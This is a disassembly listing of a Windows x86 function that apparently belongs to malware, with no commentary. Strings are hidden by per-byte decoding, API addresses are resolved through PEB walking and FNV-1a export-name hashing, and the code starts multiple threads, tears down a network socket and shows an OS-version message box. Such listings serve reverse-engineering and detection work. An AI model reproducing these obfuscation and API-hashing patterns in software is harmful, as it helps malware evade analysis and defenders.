call fcn.004759a0
mov al, byte [ebp - 0x8e]
xor ecx, ecx
mov byte [0x539b3b], al
mov dword [ebp - 0x55], 0xbdbeadb8
mov dword [ebp - 0x51], 0xb8ab80
movzx eax, byte [ebp + ecx - 0x55]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x55], al
inc ecx
cmp ecx, 7
jb 0x45b184
lea eax, [ebp - 0x55]
mov ecx, 0x53c050
push eax
call fcn.00464510
lea edx, [ebp - 0x8f]
mov ecx, eax
call fcn.004759a0
mov al, byte [ebp - 0x8f]
xor ecx, ecx
mov byte [0x539b55], al
mov dword [ebp - 0x4c], 0xbdbeadb8
mov dword [ebp - 0x48], 0xacbb80
nop
movzx eax, byte [ebp + ecx - 0x4c]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x4c], al
inc ecx
cmp ecx, 7
jb 0x45b1d0
lea eax, [ebp - 0x4c]
mov ecx, 0x53c050
push eax
call fcn.00464510
lea edx, [ebp - 0x91]
mov ecx, eax
call fcn.004759a0
mov al, byte [ebp - 0x91]
xor ecx, ecx
mov byte [0x539b3a], al
mov dword [ebp - 0x15e], 0xbdbeadb8
mov dword [ebp - 0x15a], 0xb3bea880
mov dword [ebp - 0x156], 0xacabbab3
mov byte [ebp - 0x152], 0
movzx eax, byte [ebp + ecx - 0x15e]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x15e], al
inc ecx
cmp ecx, 0xc
jb 0x45b232
lea eax, [ebp - 0x15e]
mov ecx, 0x53c050
push eax
call fcn.00464510
lea edx, [ebp - 0xa5]
mov ecx, eax
call fcn.004759a0
mov al, byte [ebp - 0xa5]
xor ecx, ecx
mov byte [0x539b39], al
mov dword [ebp - 0x120], 0xbdbeadb8
mov dword [ebp - 0x11c], 0xb6b7b680
mov dword [ebp - 0x118], 0xadb0abac
mov word [ebp - 0x114], 0xa6
nop
movzx eax, byte [ebp + ecx - 0x120]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x120], al
inc ecx
cmp ecx, 0xd
jb 0x45b2a0
lea eax, [ebp - 0x120]
mov ecx, 0x53c050
push eax
call fcn.00464510
lea edx, [ebp - 0xa6]
mov ecx, eax
call fcn.004759a0
mov al, byte [ebp - 0xa6]
xor ecx, ecx
mov byte [0x539b54], al
mov dword [ebp - 0x112], 0xbdbeadb8
mov dword [ebp - 0x10e], 0xafabb980
mov byte [ebp - 0x10a], 0
movzx eax, byte [ebp + ecx - 0x112]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x112], al
inc ecx
cmp ecx, 8
jb 0x45b301
lea eax, [ebp - 0x112]
mov ecx, 0x53c050
push eax
call fcn.00464510
lea edx, [ebp - 0xa7]
mov ecx, eax
call fcn.004759a0
mov al, byte [ebp - 0xa7]
xor ecx, ecx
mov byte [0x539b56], al
mov dword [ebp - 0x12d], 0xbdbeadb8
mov dword [ebp - 0x129], 0xb2beb880
mov word [ebp - 0x125], 0xacba
mov byte [ebp - 0x123], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x12d]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x12d], al
inc ecx
cmp ecx, 0xa
jb 0x45b370
lea eax, [ebp - 0x12d]
mov ecx, 0x53c050
push eax
call fcn.00464510
lea edx, [ebp - 0xa8]
mov ecx, eax
call fcn.004759a0
mov al, byte [ebp - 0xa8]
xor ecx, ecx
movaps xmm0, xmmword [0x526f30]
mov byte [0x539b38], al
movups xmmword [ebp - 0x122], xmm0
nop dword [eax]
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x122]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x122], al
inc ecx
cmp ecx, 0xf
jb 0x45b3d0
lea eax, [ebp - 0x122]
mov ecx, 0x53c050
push eax
call fcn.00464510
lea edx, [ebp - 0x81]
mov ecx, eax
call fcn.004759a0
mov al, byte [ebp - 0x81]
xor ecx, ecx
mov byte [0x539b58], al
mov dword [ebp - 0xf7], 0xbdbeadb8
mov dword [ebp - 0xf3], 0xb1afa980
mov byte [ebp - 0xef], 0
movzx eax, byte [ebp + ecx - 0xf7]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xf7], al
inc ecx
cmp ecx, 8
jb 0x45b431
lea eax, [ebp - 0xf7]
mov ecx, 0x53c050
push eax
call fcn.00464510
lea edx, [ebp - 0x82]
mov ecx, eax
call fcn.004759a0
mov al, byte [ebp - 0x82]
xor edx, edx
mov byte [0x539b57], al
mov dword [ebp - 0x100], 0x80baacaa
mov dword [ebp - 0xfc], 0xbcb1a9b7
mov byte [ebp - 0xf8], 0
movzx eax, byte [ebp + edx - 0x100]
push eax
call fcn.00461130
mov byte [ebp + edx - 0x100], al
inc edx
cmp edx, 8
jb 0x45b492
lea eax, [ebp - 0x100]
mov ecx, 0x53c050
push eax
call fcn.00464510
lea edx, [ebp - 0x90]
mov ecx, eax
call fcn.004759a0
mov al, byte [ebp - 0x90]
mov byte [0x53bf46], al
call fcn.00446ff0
call fcn.00449a90
mov edi, dword [0x53c00c]
mov esi, dword [0x53c008]
cmp esi, edi
je 0x45b508
mov ecx, esi
call fcn.0042cc80
add esi, 0x64
cmp esi, edi
jne 0x45b4f0
mov eax, dword [0x53c008]
mov dword [0x53c00c], eax
mov edi, dword [0x53c0a0]
mov esi, dword [0x53c09c]
cmp esi, edi
je 0x45b530
mov ecx, esi
call fcn.0042cc80
add esi, 0x64
cmp esi, edi
jne 0x45b518
mov eax, dword [0x53c09c]
mov dword [0x53c0a0], eax
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x44a2f0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x44b6d0
push 0
push 0
mov dword [ebp - 0x20], eax
call esi
push 0
push 0
push 0
push 0x452be0
push 0
push 0
mov dword [ebp - 0x40], eax
call esi
mov dword [ebp - 0x2c], eax
call fcn.00437b40
test al, al
je 0x45b6c0
lea ecx, [ebp - 0x3dc]
call fcn.00437dc0
mov edx, eax
mov byte [ebp - 4], 0x29
xor ecx, ecx
mov dword [ebp - 0xe7], 0xb6b8b0b3
mov word [ebp - 0xe3], 0xacb1
mov byte [ebp - 0xe1], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0xe7]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xe7], al
inc ecx
cmp ecx, 6
jb 0x45b5b0
lea eax, [ebp - 0xe7]
mov ecx, edx
push eax
call fcn.00464510
push eax
lea ecx, [ebp - 0x1d0]
call fcn.0045d9f0
mov byte [ebp - 4], 0x2a
xor ecx, ecx
mov dword [ebp - 0x109], 0xb3aabe89
mov dword [ebp - 0x105], 0x9a9680ab
mov byte [ebp - 0x101], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x109]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x109], al
inc ecx
cmp ecx, 8
jb 0x45b610
lea eax, [ebp - 0x109]
mov ecx, 0x53c0b8
push eax
call fcn.00464510
mov edi, eax
mov byte [ebp - 4], 0x2b
mov dl, byte [edi]
mov cl, byte [ebp - 0x1d0]
mov byte [edi], cl
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x1c4]
mov byte [ebp - 0x1d0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x1c8], edx
mov dword [ebp - 0x1c4], esi
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x1c8]
push dword [ebp - 0x1d0]
call fcn.004613d0
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x3d4]
push dword [ebp - 0x3dc]
call fcn.004613d0
cmp byte [0x53bf45], 0
je 0x45b6c0
mov eax, dword [0x53bf30]
test eax, eax
je 0x45b6b9
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [0x53bf45], 0
lea ecx, [ebp - 0x3ec]
call fcn.00439090
mov edx, eax
mov byte [ebp - 4], 0x2c
xor ecx, ecx
mov dword [ebp - 0xee], 0xb6b8b0b3
mov word [ebp - 0xea], 0xacb1
mov byte [ebp - 0xe8], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0xee]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xee], al
inc ecx
cmp ecx, 6
jb 0x45b6f0
lea eax, [ebp - 0xee]
mov ecx, edx
push eax
call fcn.00464510
push eax
lea ecx, [ebp - 0x1e0]
call fcn.0045d9f0
mov byte [ebp - 4], 0x2d
xor edx, edx
movaps xmm0, xmmword [0x527d60]
movups xmmword [ebp - 0x356], xmm0
mov word [ebp - 0x346], 0xacb3
mov byte [ebp - 0x344], 0
nop dword [eax]
movzx eax, byte [ebp + edx - 0x356]
push eax
call fcn.00461130
mov byte [ebp + edx - 0x356], al
inc edx
cmp edx, 0x12
jb 0x45b750
lea eax, [ebp - 0x356]
mov ecx, 0x53c0b8
push eax
call fcn.00464510
mov edi, eax
mov byte [ebp - 4], 0x2e
mov dl, byte [edi]
mov cl, byte [ebp - 0x1e0]
mov byte [edi], cl
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [ebp - 0x1d4]
mov byte [ebp - 0x1e0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x1d8], edx
mov dword [ebp - 0x1d4], esi
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x1d8]
push dword [ebp - 0x1e0]
call fcn.004613d0
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x3e4]
push dword [ebp - 0x3ec]
call fcn.004613d0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45b857
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45b857
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45b84d
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45b830
cmp esi, 0x71948ca4
je 0x45b85b
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45b816
mov eax, dword [eax]
jmp 0x45b7f0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x34]
push 0x493e0
push dword [ebp - 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 6
push 0xcb2d7e13
call fcn.00408de0
add esp, 8
push eax
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45b90f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45b90f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45b905
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45b8e8
cmp esi, 0x71948ca4
je 0x45b913
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45b8d0
mov eax, dword [eax]
jmp 0x45b8a3
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x34]
push 0x493e0
push dword [ebp - 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45b9a7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45b9a7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45b99d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45b980
cmp esi, 0xfaba0065
je 0x45b9ab
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45b968
mov eax, dword [eax]
jmp 0x45b942
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x34]
push dword [ebp - 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45ba3f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45ba3f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45ba35
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45ba18
cmp esi, 0xfaba0065
je 0x45ba43
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45ba00
mov eax, dword [eax]
jmp 0x45b9d5
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x40]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45bad7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45bad7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45bacd
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45bab0
cmp esi, 0xfaba0065
je 0x45badb
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45ba96
mov eax, dword [eax]
jmp 0x45ba70
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x453170
push 0
push 0
call esi
push 0
push 0
push 0
push 0x454190
push 0
push 0
mov dword [ebp - 0x20], eax
call esi
push 0
push 0
push 0
push 0x4559b0
push 0
push 0
mov dword [ebp - 0x40], eax
call esi
push 0
push 0
push 0
push 0x4566c0
push 0
push 0
mov dword [ebp - 0x2c], eax
call esi
push 0
push 0
push 0
push 0x457d90
push 0
push 0
mov dword [ebp - 0x34], eax
call esi
push 0
push 0
push 0
push 0x457ea0
push 0
push 0
mov dword [ebp - 0x3c], eax
call esi
push 0
push 0
push 0
push 0x458ba0
push 0
push 0
mov dword [ebp - 0x38], eax
call esi
sub esp, 0x18
mov dword [ebp - 0x5c], eax
mov ecx, esp
mov dword [ebp - 0x10], esp
push 0x539b74
call fcn.0045fe50
mov byte [ebp - 4], 0x2f
sub esp, 0x18
lea eax, [ebp - 0x318]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x30
sub esp, 0x18
lea eax, [ebp - 0x330]
mov dword [ebp - 0x28], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x31
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x8c], esp
push 0x539b8c
call fcn.0045fe50
mov byte [ebp - 4], 0x32
mov byte [ebp - 4], 0x28
call fcn.0040d0b0
mov eax, dword fs:[0x30]
add esp, 0x60
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x28], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45bc67
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45bc67
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45bc5d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45bc40
cmp esi, 0x71948ca4
je 0x45bc6b
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45bc28
mov eax, dword [eax]
jmp 0x45bc02
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
push 0x493e0
push dword [ebp - 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x28], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45bd07
push 0x98
lea eax, [ebp - 0x604]
push 0
push eax
call fcn.004d31f0
add esp, 0xc
mov dword [ebp - 0x608], 0x9c
lea eax, [ebp - 0x608]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x45c841
cmp dword [ebp - 0x604], 6
jne 0x45c841
cmp dword [ebp - 0x600], 0
jne 0x45c841
push 0x10
push str.Error
push str.The_Windows_Vista_operating_system_is_not_an_obstacle.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45c8b7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45c8b7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45c8ad
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45c890
cmp esi, 0x2fa62ca8
je 0x45c8bb
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45c876
mov eax, dword [eax]
jmp 0x45c850
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0xbb8
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 2
push dword [0x539b3c]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x539b3c]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
movaps xmm0, xmmword [0x527ba0]
xor ecx, ecx
movups xmmword [ebp - 0x369], xmm0
mov word [ebp - 0x359], 0xacac
mov byte [ebp - 0x357], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x369]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x369], al
inc ecx
cmp ecx, 0x12
jb 0x45c920
push 0x5219ec
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x369]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x45c965
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
call fcn.004df49c
call sub.KERNEL32.dll_GetCurrentProcessId
mov esi, eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x174]
cmp ecx, 0x10
jb 0x45c9af
mov edx, dword [ebp - 0x188]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45c9a5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45ca13
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0xf
mov byte [ebp - 0x188], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x39c]
call fcn.00402890
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 0x10
call fcn.004d64b0
call fcn.004d64b0
call fcn.004d64b0
call fcn.004d64b0
call fcn.00402210
call fcn.004d64b0
call fcn.004d64b0
call fcn.004d64b0
int3